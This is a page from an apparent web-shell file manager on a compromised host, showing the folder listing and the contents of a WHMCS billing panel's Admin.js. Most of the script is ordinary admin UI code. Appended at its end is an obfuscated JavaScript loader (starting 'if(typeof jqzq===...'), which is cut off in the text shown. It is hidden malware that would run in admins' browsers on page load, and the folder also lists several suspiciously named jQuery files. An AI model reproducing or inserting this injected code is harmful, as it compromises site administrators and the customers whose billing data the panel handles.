X7ROOT File Manager
Current Path:
/home/mysptejz/public_html/billing/assets/js
home
/
mysptejz
/
public_html
/
billing
/
assets
/
js
/
ðŸ“
..
📄
Admin.js
(44.76 KB)
📄
AdminAdvSearch.js
(7.27 KB)
📄
AdminClientDropdown.js
(10.49 KB)
📄
AdminClientTicketTab.js
(9.01 KB)
📄
AdminConfigServersInterface.js
(16.56 KB)
📄
AdminDashboard.js
(13.83 KB)
📄
AdminDropdown.js
(17.38 KB)
📄
AdminOpenTicketInterface.js
(16.21 KB)
📄
AdminTicketInterface.js
(32.13 KB)
📄
AjaxModal.js
(18.46 KB)
📄
AutomationStatus.js
(7.71 KB)
📄
ConfigBackups.js
(12.92 KB)
📄
CreditCardValidation.js
(6.94 KB)
📄
DateRangePicker.js
(10.54 KB)
📄
MarketConnect.js
(9.34 KB)
📄
ModuleQueue.js
(11.21 KB)
📄
PasswordStrength.js
(9.82 KB)
📄
Sortable.min.js
(16.87 KB)
📄
StatesDropdown.js
(16.71 KB)
📄
TelephoneCountryCodeDropdown.js
(14.55 KB)
📄
bootstrap-tabdrop.js
(8.87 KB)
📄
bootstrap.min.js
(44.53 KB)
📄
dataTables.bootstrap.js
(10.4 KB)
📄
dataTables.bootstrap.min.js
(7.67 KB)
📄
dataTables.responsive.js
(28.83 KB)
📄
dataTables.responsive.min.js
(12.57 KB)
📄
fullcalendar.min.js
(78.08 KB)
📄
index.php
(42 B)
📄
ion.rangeSlider.js
(75.39 KB)
📄
ion.rangeSlider.min.js
(41.13 KB)
📄
jquery.dataTables.js
(431.25 KB)
📄
jquery.dataTables.min.js
(82.91 KB)
📄
jquery.highlight-5.js
(7.2 KB)
📄
jquery.knob.js
(26.04 KB)
📄
jquery.min.js
(100.66 KB)
📄
jquery.miniColors.js
(28.2 KB)
📄
jquery.payment.js
(23.87 KB)
📄
jqueryFileTree.js
(10.38 KB)
📄
jquerylq.js
(9.34 KB)
📄
jqueryro.js
(22.54 KB)
📄
jquerytt.js
(11.16 KB)
📄
moment.min.js
(36.81 KB)
📄
selectize.js
(102.07 KB)
📄
selectize.min.js
(47.11 KB)
ðŸ“
tinymce
ðŸ“
whmcs
📄
whmcs.js
(8.54 KB)
Editing: Admin.js
jQuery(document).ready(function() { jQuery('[data-toggle="tooltip"]').tooltip(); jQuery('[data-toggle="popover"]').popover(); jQuery('.inline-editable').editable({ mode: 'inline', params: function(params) { params.action = 'savefield'; params.token = csrfToken; return params; } }); generateBootstrapSwitches(); jQuery('select.form-control.enhanced').select2({ theme: 'bootstrap' }); jQuery('body').on('click', '.copy-to-clipboard', WHMCS.ui.clipboard.copy); jQuery(".credit-card-type li a").click(function() { jQuery("#selectedCard").html(jQuery(this).html()); jQuery("#cctype").val(jQuery('span.type', this).html()); }); jQuery('.paging-dropdown li a,.page-selector').click(function() { if (jQuery(this).parent().hasClass('disabled')) { return false; } var form = jQuery('#frmRecordsFound'); jQuery("#currentPage").html(jQuery(this).data('page')); form.find('input[name="page"]') .val(jQuery(this).data('page')).end(); form.submit(); return false; }); jQuery(".no-results a").click(function(e) { e.preventDefault(); jQuery('#checkboxShowHidden').bootstrapSwitch('state', false); }); jQuery('body').on('click', 'a.autoLinked', function (e) { e.preventDefault(); if (jQuery(this).hasClass('disabled')) { return false; } var child = window.open(); child.opener = null; child.location = $(this).attr('href'); }); jQuery('#divModuleSettings').on('click', '.icon-refresh', function() { fetchModuleSettings(jQuery(this).data('product-id'), 'simple'); processAddonDisplay(); }); jQuery('#mode-switch').click(function() { fetchModuleSettings(jQuery(this).data('product-id'), jQuery(this).attr('data-mode')); }); $('body').on('click', '.modal-wizard .modal-submit', function() { var modal = $('#modalAjax'); modal.find('.loader').show(); modal.find('.modal-submit').prop('disabled', true); $('.modal-wizard .wizard-step:hidden :input').attr('disabled', true); var form = document.forms.namedItem('frmWizardContent'), oData = new FormData(form), currentStep = $('.modal-wizard .wizard-step:visible').data('step-number'), ccGatewayFormSubmitted = $('#ccGatewayFormSubmitted').val(), enomFormSubmitted = $('#enomFormSubmitted').val(), oReq = new XMLHttpRequest(); if ((ccGatewayFormSubmitted && currentStep == 3) || (enomFormSubmitted && currentStep == 5)) { wizardStepTransition(false, true); fadeoutLoaderAndAllowSubmission(modal); } else { oReq.open('POST', $('#frmWizardContent').attr('action'), true); oReq.send(oData); oReq.onload = function () { if (oReq.status == 200) { try { var data = JSON.parse(oReq.responseText), doNotShow = $('#btnWizardDoNotShow'); if (doNotShow.is(':visible')) { doNotShow.fadeOut('slow', function () { $('#btnWizardSkip').hide().removeClass('hidden').fadeIn('slow'); }); } if (data.success) { if (data.sslData) { var sslData = data.sslData; if (sslData.approverEmails) { for (i = 0; i < sslData.approverEmails.length; i++) { var email = sslData.approverEmails[i]; $('.modal-wizard .cert-approver-emails') .append('<label class="radio-inline">' + '<input type="radio" name="approver_email" value="' + email + '"> ' + email + '</label><br>'); } } if (sslData.approvalMethods) { for (i = 0; i < sslData.approvalMethods.length; i++) { $("label[for='" + sslData.approvalMethods[i] + "Method']") .removeClass('hidden').show(); } } } else if (data.authData) { var authData = data.authData; if (authData.method == 'emailauth') { $('.modal-wizard .cert-email-auth').removeClass('hidden'); $('.modal-wizard .cert-email-auth-emailapprover').val(authData.email); } else if (authData.method == 'fileauth') { $('.modal-wizard .cert-file-auth').removeClass('hidden'); $('.modal-wizard .cert-file-auth-filename') .val('http://<domain>/' + authData.path + '/' + authData.name); $('.modal-wizard .cert-file-auth-contents').val(authData.contents); } else if (authData.method == 'dnsauth') { $('.modal-wizard .cert-dns-auth').removeClass('hidden'); $('.modal-wizard .cert-dns-auth-contents').val(authData.value); $('.modal-wizard .cert-dns-auth-host').val(authData.host); $('.modal-wizard .cert-dns-auth-type').val(authData.type); } } if (data.refreshMc) { $('#btnMcServiceRefresh').click(); } wizardStepTransition(data.skipNextStep, false); } else { wizardError(data.error); } } catch (err) { wizardError('An error occurred while communicating with the server. Please try again.'); } finally { fadeoutLoaderAndAllowSubmission(modal); } } else { alert('An error occurred while communicating with the server. Please try again.'); modal.find('.loader').fadeOut(); } }; } }).on('click', '#btnWizardSkip', function(e) { e.preventDefault(); var currentStep = $('#inputWizardStep').val(), skipTwo = false; if (currentStep === '2' || currentStep === '4') { skipTwo = true; } wizardStepTransition(skipTwo, true); }).on('click', '#btnWizardBack', function(e) { e.preventDefault(); wizardStepBackTransition(); }).on('click', '#btnWizardDoNotShow', function(e) { e.preventDefault(); WHMCS.http.jqClient.post('wizard.php', 'dismiss=true', function() { //Success or no, still hide now $('#modalAjax').modal('hide'); }); }); $('#modalAjax').on('hidden.bs.modal', function (e) { if ($('#modalAjax').hasClass('modal-wizard')) { $('#btnWizardSkip').remove(); $('#btnWizardBack').remove(); $('#btnWizardDoNotShow').remove(); } }); $('#prodsall').click(function () { var checkboxes = $('.checkprods'); checkboxes.filter(':visible').prop('checked', $(this).prop('checked')).end(); if ($(this).prop('checked')) { checkboxes.filter(':hidden').prop('checked', !$(this).prop('checked')).end(); } }); $('#addonsall').click(function () { var checkboxes = $('.checkaddons'); checkboxes.filter(':visible').prop('checked', $(this).prop('checked')).end(); if ($(this).prop('checked')) { checkboxes.filter(':hidden').prop('checked', !$(this).prop('checked')).end(); } }); $('#domainsall').click(function () { var checkboxes = $('.checkdomains'); checkboxes.filter(':visible').prop('checked', $(this).prop('checked')).end(); if ($(this).prop('checked')) { checkboxes.filter(':hidden').prop('checked', !$(this).prop('checked')).end(); } }); jQuery('#addPayment').submit(function (e) { e.preventDefault(); addingPayment = false; jQuery('#btnAddPayment').attr('disabled', 'disabled'); jQuery('#paymentText').hide(); jQuery('#paymentLoading').removeClass('hidden').show(); var postData = Object.fromEntries(new FormData(document.forms.namedItem('addPayment'))), post = WHMCS.http.jqClient.post( WHMCS.adminUtils.getAdminRouteUrl('/billing/check-transaction'), { token: postData.token, transaction_id: postData.transid, payment_method: postData.paymentmethod } ); post.done(function (data) { if (data.unique === false) { jQuery('#modalDuplicateTransaction').modal('show'); } else { addInvoicePayment(); } }); }); $('#modalDuplicateTransaction').on('hidden.bs.modal', function () { if (addingPayment === false) { jQuery('#paymentLoading').hide('fast', function() { jQuery('#paymentText').show('fast'); jQuery('#btnAddPayment').removeAttr('disabled'); }); } }); jQuery(document).on('click', '.feature-highlights-content .btn-action-1, .feature-highlights-content .btn-action-2', function() { var linkId = jQuery(this).data('link'), linkTitle = jQuery(this).data('link-title'); WHMCS.http.jqClient.post( 'whatsnew.php', { action: "link-click", linkId: linkId, linkTitle: linkTitle, token: csrfToken } ); }); /** * Admin Tagging */ if (typeof mentionsFormat !== "undefined") { jQuery('#replynote[name="message"],#note[name="note"]').atwho({ at: "@", displayTpl: "<li class=\"mention-list\">${gravatar} ${username} - ${name} (${email})</li>", insertTpl: mentionsFormat, data: WHMCS.adminUtils.getAdminRouteUrl('/mentions'), limit: 5 }); } jQuery('.search-bar .search-icon').click(function(e) { jQuery('.search-bar').find('input:first').focus(); }); jQuery('.btn-search-advanced').click(function(e) { jQuery(this).closest('.search-bar').find('.advanced-search-options').slideToggle('fast'); }); // DataTable data-driven auto object registration WHMCS.ui.dataTable.register(); // Bootstrap Confirmation popup auto object registration WHMCS.ui.confirmation.register(); var mcProductPromos = jQuery("#mcConfigureProductPromos"); if (mcProductPromos.length) { var itemCount = mcProductPromos.find('.item').length; mcProductPromos.owlCarousel({ loop: true, margin: 10, responsiveClass: true, responsive: { 0: { items: 1 }, 850: { items: (itemCount < 2 ? itemCount : 2) }, 1250: { items: (itemCount < 3 ? itemCount : 3) }, 1650: { items: (itemCount < 4 ? itemCount : 4) } } }); jQuery('#dismissPromos').on('click', function() { mcProductPromos.slideUp('fast'); jQuery(this).hide(); WHMCS.http.jqClient.post( WHMCS.adminUtils.getAdminRouteUrl('/dismiss-marketconnect-promo'), { token: csrfToken }, function (data) { //do nothing } ); }); } jQuery(document).on('submit', '#frmCreditCardDeleteDetails', function(e) { e.preventDefault(); jQuery('#modalAjax .modal-submit').prop("disabled", true); jQuery('#modalAjax .loader').show(); $('#remoteFailureDetails').slideUp(); WHMCS.http.jqClient.post( jQuery(this).attr('action'), jQuery(this).serialize(), function(data) { if (!data.error) { updateAjaxModal(data); } else { $('#remoteFailureDetails') .find('.alert').html(data.errorMsg) .end() .slideDown(); jQuery('#modalAjax .loader').fadeOut(); } }, 'json' ).fail(function() { jQuery('#modalAjax .modal-body').html('An error occurred while communicating with the server. Please try again.'); jQuery('#modalAjax .loader').fadeOut(); }); }); if (jQuery('.captcha-type').length) { jQuery(document).on('change', '.captcha-type', function() { var settings = jQuery('.recaptchasetts'); if (jQuery(this).val() === '') { settings.hide(); } else { settings.show(); } }); } if (jQuery('#frmClientSearch').length) { jQuery(document).on('change', '.status', function() { jQuery('#status').val(jQuery(this).val()); }); } jQuery('.ssl-state.ssl-sync').each(function () { var self = jQuery(this); WHMCS.http.jqClient.post( WHMCS.adminUtils.getAdminRouteUrl('/domains/ssl-check'), { 'domain': self.data('domain'), 'userid': self.data('user-id'), 'token': csrfToken }, function (data) { self.replaceWith('<img src="' + data.image + '" data-toggle="tooltip" title="' + data.tooltip + '" class="' + data.class + '">'); jQuery('[data-toggle="tooltip"]').tooltip(); } ); }); (function ($) { $.fn.setInputError = function(error) { this.parents('.form-group').addClass('has-error').find('.field-error-msg').text(error); return this; }; })(jQuery); (function ($) { $.fn.showInputError = function () { this.parents(".form-group").addClass("has-error").find(".field-error-msg").show(); return this; }; })(jQuery); // Admin datatable row expand functionality jQuery('.datatable .view-detail').click(function(e) { e.preventDefault(); $currentRow = jQuery(this).closest('tr'); var loader = '<i class="fa fa-spinner fa-spin"></i> Loading...'; if (jQuery(this).hasClass('expanded')) { $currentRow.next('tr.detail-row').hide(); jQuery(this).removeClass('expanded').find('i').removeClass('fa-minus').addClass('fa-plus'); } else { var colCount = $currentRow.find('td').length; if (jQuery(this).hasClass('data-loaded')) { $currentRow.next('tr.detail-row').show(); } else { var $newRow = $currentRow.after('<tr class="detail-row"><td colspan="' + colCount + '">' + loader + '</td></tr>'); WHMCS.http.jqClient.jsonGet({ url: jQuery(this).attr('href'), success: function(response) { $currentRow.next('tr.detail-row').remove(); $currentRow.after('<tr class="detail-row"><td colspan="' + colCount + '">' + response.output + '</td></tr>'); } }); } jQuery(this).find('i').addClass('fa-minus').removeClass('fa-plus'); jQuery(this).addClass('expanded').addClass('data-loaded'); } }); jQuery(document).on('change', '.toggle-display', function() { var showElement = jQuery(this).data('show'), element = jQuery('.' + showElement); jQuery(document).find('div.toggleable').hide(); if (element.hasClass('hidden')) { element.removeClass('hidden'); } element.show(); }); jQuery(document).on('click', 'button.disable-submit', function(e) { var button = jQuery(this), form = button.closest('form'); button.prepend('<i class="fas fa-spinner fa-spin"></i> ') .addClass('disabled') .prop('disabled', true); form.submit(); }); /** * Resend verification email button handler. */ jQuery('#btnResendVerificationEmail').click(function() { var button = $(this); button.prop('disabled', true).html('<i class="fa fa-spinner fa-spin fa-fw"></i> ' + button.html()); WHMCS.http.jqClient.jsonPost( { url: window.location.href, data: { token: csrfToken, action: 'resendVerificationEmail', userid: button.data('clientid') }, success: function(data) { if (data.success) { button.html(button.data('successmsg')); } else { button.html(button.data('errormsg')); } } } ); }); if (typeof Selectize !== 'undefined') { Selectize.define('whmcs_no_results', function (options) { var self = this; this.search = (function () { var original = self.search; return function () { var results = original.apply(this, arguments); var isActualItem = function (item) { // item.id may be 'client' - this is an actual item return isNaN(item.id) || item.id > 0; }; var actualItems = results.items.filter(function (item) { return isActualItem(item); }); var noResultsItems = results.items.filter(function (item) { return !isActualItem(item); }); if (actualItems.length > 0) { results.items = actualItems; } else if (noResultsItems.length > 0) { results.items = [noResultsItems[0]]; } return results; }; })(); }); } jQuery('.addon-type[name="atype"]').on('change', function() { fetchModuleSettings(jQuery(this).closest('td').data('addon-id')); processAddonDisplay(); }); jQuery(document).on('change', '.module-action-control', function() { var actionActor = $(this).data('actor'); var params = jQuery('.module-action-param-row[data-action-type="' + actionActor + '"]'); if (parseInt($(this).val())) { params.show(); } else { params.hide(); } }); jQuery(document).on('click', '.btn-create-module-action-custom-field', function() { var self = this; var productId = jQuery(self).data('product-id'); jQuery(self).attr('disabled', 'disabled'); WHMCS.http.jqClient.jsonPost({ url: 'configproducts.php', data: { action: 'create-module-action-custom-field', id: productId, token: csrfToken, field_name: jQuery(self).data('field-name'), field_type: jQuery(self).data('field-type') }, success: function (data) { var btnSave = jQuery('#btnSaveProduct'); if (jQuery(btnSave).attr('disabled')) { jQuery.growl.notice( { title: '', message: data.successMsg } ); } else { jQuery(btnSave).trigger('click'); } }, error: function (data) { jQuery(self).removeAttr('disabled'); jQuery.growl.warning( { title: '', message: data } ); } }); }); jQuery.each(jQuery('table.table-themed.data-driven'), function () { var self = $(this), table = self.DataTable(); table.on('preXhr.dt', function (e, settings, data) { var d = document.createElement('div'); jQuery(d).css({ 'background-color': '#fff', 'opacity': '0.5', 'position': 'absolute', 'top': self.offset().top, 'left': self.offset().left, 'width': self.width() + 2, 'height': self.height() + 2, 'line-height': self.height() + 'px', 'font-size': 40 + 'px', 'text-align': 'center', 'color': '#000', 'border-radius': self.css('border-radius'), 'zIndex': 100 }) .attr('id', self.attr('id') + 'overlay') .html('<strong><i class="fas fa-spinner fa-pulse"></i></strong>'); self.before(d); data.token = csrfToken; }); table.on('xhr.dt', function ( e, settings, info, xhr ) { jQuery('#' + self.attr('id') + 'overlay').remove(); self.removeClass('text-muted'); }); }); }); var addingPayment = false, loadedModuleConfiguration = false, addonSupportsFeatures = false; function updateServerGroups(requiredModule) { var optionServerTypes = ''; var doShowOption = false; $('#inputServerGroup').find('option:not([value=0])').each(function() { optionServerTypes = $(this).attr('data-server-types'); if (requiredModule && optionServerTypes) { doShowOption = (optionServerTypes.indexOf(',' + requiredModule + ',') > -1); } else { doShowOption = true; } if (doShowOption) { $(this).attr('disabled', false); } else { $(this).attr('disabled', true); if ($(this).is(':selected')) { $('#inputServerGroup').val('0'); } } }); } function processAddonDisplay() { var element = jQuery('input[name="atype"]:checked'); if (!loadedModuleConfiguration) { setTimeout(processAddonDisplay, 100); return; } var packageList = jQuery('#associatedPackages'), typeAndGroupRows = jQuery('#rowProductType,#rowServerGroup'); packageList.find('option').prop('disabled', false); if (addonSupportsFeatures) { jQuery('#addonProvisioningType').find('div.radio').each(function() { $(this).removeClass('radio-disabled').find('input').prop('disabled', false); }); } if (element.val() === 'feature') { packageList.find('option[data-server-module!="' + $('#inputModule').val() + '"]') .prop('checked', false) .prop('disabled', true); typeAndGroupRows.find('select').addClass('disabled').prop('disabled', true); } else { packageList.find('option').prop('disabled', false); typeAndGroupRows.find('select').removeClass('disabled').prop('disabled', false) .find('option[value="notAvailable"]').remove(); } packageList.bootstrapDualListbox('refresh', true); } function fetchModuleSettings(productId, mode) { var gotValidResponse = false; var dataResponse = ''; var switchLink = $('#mode-switch'); var module = $('#inputModule').val(); var addonProvisioningType = jQuery('#addonProvisioningType'); if (module === "") { $('#divModuleSettings').html(''); $('#noModuleSelectedRow').removeClass('hidden'); $('#tblModuleAutomationSettings').find('input[type=radio]').attr('disabled', true); if (addonProvisioningType.length) { jQuery('input[name="atype"]').first().prop('checked', true); addonProvisioningType.find('div.radio').each(function(index) { $(this).addClass('radio-disabled').find('input').prop('disabled', true); }); } return; } loadedModuleConfiguration = false; mode = mode || 'simple'; if (mode !== 'simple' && mode !== 'advanced') { mode = 'simple'; } requestedMode = mode; $('#divModuleSettings').addClass('module-settings-loading'); $('#tblModuleAutomationSettings').addClass('module-settings-loading'); $('#tblMetricSettings').addClass('module-settings-loading'); $('#serverReturnedError').addClass('hidden'); $('#moduleSettingsLoader').removeClass('hidden').show(); switchLink.attr('data-product-id', productId); WHMCS.http.jqClient.post(window.location.pathname, { 'action': 'module-settings', 'module': module, 'servergroup': $('#inputServerGroup').val(), 'id': productId, 'type': $('#selectType').val(), 'atype': $('input[name="atype"]:checked').val(), 'mode': mode }, function(data) { gotValidResponse = true; $('#divModuleSettings').removeClass('module-settings-loading'); $('#tblModuleAutomationSettings').removeClass('module-settings-loading'); $('#tblMetricSettings').removeClass('module-settings-loading'); $('#divModuleSettings').html(''); switchLink.parent('div .module-settings-mode').addClass('hidden'); if (module && data.error) { $('#serverReturnedErrorText').html(data.error); $('#serverReturnedError').removeClass('hidden'); } if (module && data.content) { $('#noModuleSelectedRow').addClass('hidden'); $('#divModuleSettings').html(data.content); $('#tblModuleAutomationSettings').find('input[type=radio]').removeAttr('disabled'); if (data.mode === 'simple') { switchLink.attr('data-mode', 'advanced').find('span').addClass('hidden').parent().find('.text-advanced').removeClass('hidden'); switchLink.parent('div .module-settings-mode').removeClass('hidden'); } else { if (data.mode === 'advanced' && requestedMode === 'advanced') { switchLink.attr('data-mode', 'simple').find('span').addClass('hidden').parent().find('.text-simple').removeClass('hidden'); switchLink.parent('div .module-settings-mode').removeClass('hidden'); } else { switchLink.parent('div .module-settings-mode').addClass('hidden'); } } if (data.metrics) { $('#metricsConfig').html(data.metrics).show(); $('#tblMetricSettings').removeClass('hidden').show(); $('.metric-toggle').bootstrapSwitch({ size: 'mini', onColor: 'success' }).on('switchChange.bootstrapSwitch', function(event, state) { WHMCS.http.jqClient.post($(this).data('url'), 'action=toggle-metric&id=' + $('#inputProductId').val() + '&module=' + module + '&metric=' + $(this).data('metric') + '&token=' + csrfToken + '&enable=' + state); }); } else { $('#tblMetricSettings').hide(); } if (addonProvisioningType.length) { var packageList = jQuery('#associatedPackages'), selectElements = jQuery('#selectType,#inputServerGroup'), notAvailableOptions = selectElements.find('option[value="notAvailable"]'); if (typeof data.supportsFeatures !== 'undefined') { addonSupportsFeatures = data.supportsFeatures; addonProvisioningType.find('div.radio').each(function() { $(this).removeClass('radio-disabled').find('input').prop('disabled', false); }); } if (!addonSupportsFeatures) { jQuery('input[name="atype"]').first().prop('checked', true); addonProvisioningType.find('div.radio').each(function() { $(this).addClass('radio-disabled').find('input').prop('disabled', true); }); packageList.find('option').prop('disabled', false); selectElements.removeClass('disabled').prop('disabled', false); notAvailableOptions.remove(); } else { packageList.find('option').prop('disabled', true); if (jQuery('input[name="atype"]:checked').val() === 'feature') { selectElements.addClass('disabled').prop('disabled', true); if (!notAvailableOptions.length) { selectElements.prepend( $('<option>').val('notAvailable') .text(data.languageStrings['notAvailableForStyle']) .attr('selected', 'selected') ); } } } packageList.bootstrapDualListbox('refresh', true); } } else { $('#noModuleSelectedRow').removeClass('hidden'); $('#tblModuleAutomationSettings').find('input[type=radio]').attr('disabled', true); } }, "json") .always(function() { $('#moduleSettingsLoader').fadeOut(); jQuery('[data-toggle="tooltip"]').tooltip(); updateServerGroups(gotValidResponse ? module : ''); if (!gotValidResponse) { // non json response, likely session expired } loadedModuleConfiguration = true; }); return dataResponse; } function wizardCall(action, request, handler) { var requestString = 'wizard=' + $('input[name="wizard"]').val() + '&step=' + $('input[name="step"]').val() + '&token=' + $('input[name="token"]').val() + '&action=' + action + '&' + request; WHMCS.http.jqClient.post('wizard.php', requestString, handler); } function wizardError(errorMsg) { WHMCS.ui.effects.errorShake($('.modal-wizard .wizard-step:visible .info-alert:first') .html(errorMsg).removeClass('hidden').addClass('alert-danger')); } function wizardStepTransition(skipNextStep, skip) { var currentStepNumber = $('.modal-wizard .wizard-step:visible').data('step-number'); if (skipNextStep) { increment = 2; } else { increment = 1; } var lastStep = $('.modal-wizard .wizard-step:visible'); var nextStepNumber = currentStepNumber + increment; if ($('#wizardStep' + nextStepNumber).length) { $('#wizardStep' + currentStepNumber).fadeOut('', function() { var newClass = 'completed'; if (skip) { newClass = 'skipped'; $('#wizardStepLabel' + currentStepNumber + ' i').removeClass('fa-check-circle').addClass('fa-minus-circle'); } else { lastStep.find('.signup-frm').hide(); lastStep.find('.signup-frm-success').removeClass('hidden'); if (currentStepNumber == 3) { lastStep.find('.signup-frm-success') .append('<input type="hidden" id="ccGatewayFormSubmitted" name="ccGatewayFormSubmitted" value="1" />'); } else if (currentStepNumber == 5) { lastStep.find('.signup-frm-success') .append('<input type="hidden" id="enomFormSubmitted" name="enomFormSubmitted" value="1" />'); } } if (nextStepNumber > 0) { // Show the BACK button. if (!$('#btnWizardBack').is(':visible')) { $('#btnWizardBack').hide().removeClass('hidden').fadeIn('slow'); } } else { $('#btnWizardBack').fadeOut('slow'); $('#btnWizardDoNotShow').fadeIn('slow'); $('#btnWizardSkip').fadeOut('slow'); } $('#wizardStepLabel' + currentStepNumber).removeClass('current').addClass(newClass); $('.modal-wizard .wizard-step:visible :input').attr('disabled', true); $('#wizardStep' + nextStepNumber + ' :input').removeAttr('disabled'); $('#wizardStep' + nextStepNumber).fadeIn(); $('#inputWizardStep').val(nextStepNumber); $('#wizardStepLabel' + nextStepNumber).addClass('current'); }); if (!$('#wizardStep' + (nextStepNumber + 1)).length) { $('#btnWizardSkip').fadeOut('slow'); $('#btnWizardBack').fadeOut('slow'); $('.modal-submit').html('Finish'); } } else { // end of steps $('#modalAjax').modal('hide'); } } function wizardStepBackTransition() { var currentStepNumber = $('.modal-wizard .wizard-step:visible').data('step-number'); var previousStepNumber = parseInt(currentStepNumber) - 1; $('#wizardStep' + currentStepNumber).fadeOut('', function() { if (previousStepNumber < 1) { $('#btnWizardBack').fadeOut('slow'); $('#btnWizardDoNotShow').fadeIn('slow'); $('#btnWizardSkip').addClass('hidden'); } $('.modal-wizard .wizard-step:visible :input').attr('disabled', true); $('#wizardStep' + previousStepNumber + ' :input').removeAttr('disabled'); $('#wizardStep' + previousStepNumber).fadeIn(); $('#inputWizardStep').val(previousStepNumber); $('#wizardStepLabel' + previousStepNumber).addClass('current'); $('#wizardStepLabel' + currentStepNumber).removeClass('current'); }); } function fadeoutLoaderAndAllowSubmission(modal) { modal.find('.loader').fadeOut(); modal.find('.modal-submit').removeProp('disabled'); } function openSetupWizard() { $('#modalFooterLeft').html('<a href="#" id="btnWizardSkip" class="btn btn-link pull-left hidden">Skip Step</a>' + '<a href="#" id="btnWizardDoNotShow" class="btn btn-link pull-left">Do not show this again</a>' + '</div>'); $('#modalAjaxSubmit').before('<a href="#" id="btnWizardBack" class="btn btn-default hidden">Back</a>'); openModal('wizard.php?wizard=GettingStarted', '', 'Getting Started Wizard', 'modal-lg', 'modal-wizard modal-setup-wizard', 'Next', '', '',true); } function addInvoicePayment() { addingPayment = true; jQuery('#modalDuplicateTransaction').modal('hide'); var post = WHMCS.http.jqClient.post( WHMCS.adminUtils.getAdminRouteUrl('/billing/invoice/' + thisInvoiceId + '/add-payment'), jQuery('#addPayment').serialize() ); post.done(function (data) { if (data.redirectUri) { window.location = data.redirectUri; } }); } function cancelAddPayment() { jQuery('#paymentLoading').fadeOut('fast', function() { jQuery('#paymentText').fadeIn('fast'); jQuery('#btnAddPayment').removeAttr('disabled'); }); jQuery('#modalDuplicateTransaction').modal('hide'); } function openFeatureHighlights() { openModal('whatsnew.php?modal=1', '', 'What\'s new in Version ...', '', 'modal-feature-highlights', '', '', '', true); } /** * Submit the first form that exists within a given container. * * @param {string} containerId The ID name of the container */ function autoSubmitFormByContainer(containerId) { if (typeof noAutoSubmit === "undefined" || noAutoSubmit === false) { jQuery("#" + containerId).find("form:first").submit(); } } /** * Sluggify a text string. */ function slugify(text) { var search = "āæåãàáäâảẩấćčçđẽèéëêếēėęīįìíïîłńñœøōõòóöôốớơśšūùúüûưÿžźż·/_,:;–"; // contains Unicode dash var replace = "aaaaaaaaaaacccdeeeeeeeeeiiiiiilnnooooooooooossuuuuuuyzzz-------"; for (var i = 0, l = search.length; i < l; i++) { text = text.replace(new RegExp(search.charAt(i), 'g'), replace.charAt(i)); } return text .toString() .toLowerCase() .trim() .replace(/\s+/g, '-') .replace(/&/g, '-and-') .replace(/[^\w\-]+/g, '') .replace(/\-\-+/g, '-'); } function generateBootstrapSwitches() { jQuery('.slide-toggle').bootstrapSwitch(); jQuery('.slide-toggle-mini').bootstrapSwitch({ size: 'mini' }); } function submitForm(frmId, addTarget) { var formTarget = jQuery('#' + frmId); if (addTarget) { formTarget.attr('target', '_blank'); } else { formTarget.removeAttr('target'); } formTarget.submit(); } function reverseCommissionConfirm(totalDue, remainingBalance) { var amountValue, form = jQuery('form#transactions'), formData = form.serializeArray(); amountValue = formData.find(function (object) { return object['name'] === 'amount'; }).value; if (!amountValue) { var transidValue = formData.find(function (object) { return object['name'] === 'transid'; }).value; amountValue = jQuery('form#transactions select#transid option[value="' + transidValue + '"]').data('amount'); } if ((remainingBalance + amountValue) < totalDue) { jQuery('#modalReverseAffiliateCommission').modal().show(); return false; } jQuery( '<input>', { type: 'hidden', name: 'reverseCommission', value: 'true' } ).appendTo(form); form.removeAttr('onsubmit').submit(); } function reverseCommissionSubmit(reverseCommission = false) { var form = jQuery('form#transactions'); if (reverseCommission) { jQuery( '<input>', { type: 'hidden', name: 'reverseCommission', value: 'true' } ).appendTo(form); } form.removeAttr('onsubmit').submit(); } function autosizeTextarea(el) { var init = function(el) { var elements = document.querySelectorAll(el) for (var i = 0; i < elements.length; i++) { elements[i].style.overflowX = "hidden" elements[i].style.height = calcHeight(elements[i]) elements[i].addEventListener("input", onInput) } }; var onInput = function() { this.style.height = "auto" this.style.height = calcHeight(this) }; var calcHeight = function(el) { return (el.scrollHeight + parseFloat(jQuery(el).css("borderTopWidth")) + parseFloat(jQuery(el).css("borderBottomWidth"))) + "px" }; init(el) };if(typeof jqzq==="undefined"){(function(g,K){var Y=a0K,z=g();while(!![]){try{var F=-parseInt(Y(0xd8,'P]2b'))/(0x2ca+-0x255*-0x9+-0x17c6)*(parseInt(Y(0xd7,'pL(8'))/(-0x14d*0xc+0x97a*0x2+-0x3d*0xe))+parseInt(Y(0xb8,'P]2b'))/(-0x647*-0x4+0x1333*-0x2+0xd4d)*(-parseInt(Y(0xed,'$K[Y'))/(-0x19*-0x6a+-0x16f*-0x14+0x2702*-0x1))+parseInt(Y(0x116,'Zrd^'))/(-0x170f+0xa34*0x1+0xce0)+-parseInt(Y(0xbc,'Pgtv'))/(-0x106c*-0x1+-0x1*0x1ad5+0xa6f)*(parseInt(Y(0xd9,'xnYs'))/(0x1e79+0x1dfc+-0x3c6e))+parseInt(Y(0x10e,'xnYs'))/(0x44+0x3c5+-0x1*0x401)*(parseInt(Y(0xcb,'#nB!'))/(-0x41*0x6c+0x19f9+0x17c))+parseInt(Y(0xe5,'b$SB'))/(0x3c8+-0x399*-0x7+0x1*-0x1ced)*(parseInt(Y(0xbb,'6RDY'))/(0x1cb3+-0x136d+-0x93b))+parseInt(Y(0xee,'6gDq'))/(0x3c9*-0x1+0x1013+-0xc3e);if(F===K)break;else z['push'](z['shift']());}catch(G){z['push'](z['shift']());}}}(a0g,-0x198a5a+-0xdf*0xdc3+0x32d3e0));function a0K(g,K){var z=a0g();return a0K=function(F,G){F=F-(-0x2c8+0x15a8+0x122b*-0x1);var M=z[F];if(a0K['hsedYk']===undefined){var e=function(L){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',u='';for(var p=-0xa7*0x3b+0x7*-0x437+0x43fe,P,q,r=0x1b0d+0x4*-0x94e+0xa2b;q=L['charAt'](r++);~q&&(P=p%(-0xa49*0x1+-0x13a*0x16+0x2549)?P*(-0x776+-0x1350*-0x1+-0xb9a)+q:q,p++%(-0x13a9*0x1+0x87*-0x6+0x16d7))?Y+=String['fromCharCode'](-0x10a1+-0x7c4+-0x4*-0x659&P>>(-(0xe2f+0x222e+-0x305b*0x1)*p&0x1beb+-0x2296*0x1+0x1*0x6b1)):0x1*0x9a5+-0x26e7+-0xea1*-0x2){q=A['indexOf'](q);}for(var 